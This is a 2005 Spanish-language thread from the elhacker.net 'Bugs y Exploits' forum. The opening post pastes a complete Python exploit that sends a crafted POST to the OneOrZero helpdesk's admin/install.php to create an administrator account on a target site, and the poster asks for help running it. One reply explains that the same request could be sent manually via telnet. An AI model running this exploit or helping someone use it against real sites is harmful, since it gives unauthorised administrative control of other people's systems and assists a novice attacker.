elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 06:14  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Ayuda con Exploit en Python...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con Exploit en Python...  (Leído 683 veces)
ch3k0

Desconectado Desconectado

Mensajes: 123



Ver Perfil
Ayuda con Exploit en Python...
« en: 23 Marzo 2005, 14:37 »

Necesito ayuda con el uso de un exploit en python...
Ya baje el Python....y lo instale....pero al acer doble clic sobre el exploit me aparece un error.... no se nada de python...
Este es el code:

import urlparse
import httplib
import string

OneOrZero("http://www.target.com","80","NewUserName","NewPassword")


class OneOrZero:
    def __init__(self,target,port,user,password):
        if port != "":
            self.port=str(port)
        else :
            self.port="80"
        self.path=str(urlparse.urlparse(target)[2])
        self.target=str(urlparse.urlparse(target)[1])
        self.user=str(user)
        self.password=str(password)
        self.USER_AGENT='OneOrZero.py'
        self.CreateAdminAccount()

    def CreateAdminAccount(self):


data='step=2&first=admin&last=admin&user='+self.user+'&pwd1='+self.password+'&pwd2='+self.password+'&email=a@a.a&office=abcd'

        try :
            print "Connecting On "+self.target+"...\n"

            http=httplib.HTTP(self.target,self.port)

            print "Sending Data On "+self.target+"...\n"

            http.putrequest("POST",self.path+"/admin/install.php")

       http.putheader("Content-Type","application/x-www-form-urlencoded")
            http.putheader("User-Agent",self.USER_AGENT)
            http.putheader("Host",self.target)
            http.putheader("Content-Length",str(len(data)))
            http.endheaders()

            http.send(data)

            code,msg,headers = http.getreply()

            print "HTTP Code : ",str(code)
            print "HTTP Connection : ",msg
            print "HTTP headers : \n",headers,"\n"

            file=http.getfile()
            if string.find(file.read(),"Administrator Account Created Successfully.") != -1:
                print "Congratulations, Administrator Account Created Successfully."
                print "You Can Log In Here : http://"+self.target+self.path+"/admin/control.php"
                print "User : ",self.user
                print "Password : ",self.password
            else :
                print "Administrator Account Hasn't Been Created."

        except :
            print "Error During Admin Account Creation."

Sinceramente esta es la primeravez que uso uno de este tipo....
Por favor aganme saber sus sugerencias u opinios sobre el uso de este exploit....

Cha0  8)

« Última modificación: 23 Marzo 2005, 14:38 por Ch3k0 » En línea

`-l|//[-_-]\\|l-´
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: Ayuda con Exploit en Python...
« Respuesta #1 en: 23 Marzo 2005, 22:43 »

Si buscas el fallo lo podrias hacer a mano en telnet , porque parece que lo que hace es mandar un post a "admin/install.php" con la informacion que se encuentra en la variable "data" .
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Ayuda con Exploit en Python...
« Respuesta #2 en: 24 Marzo 2005, 23:14 »

¿pq no pones el error?
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines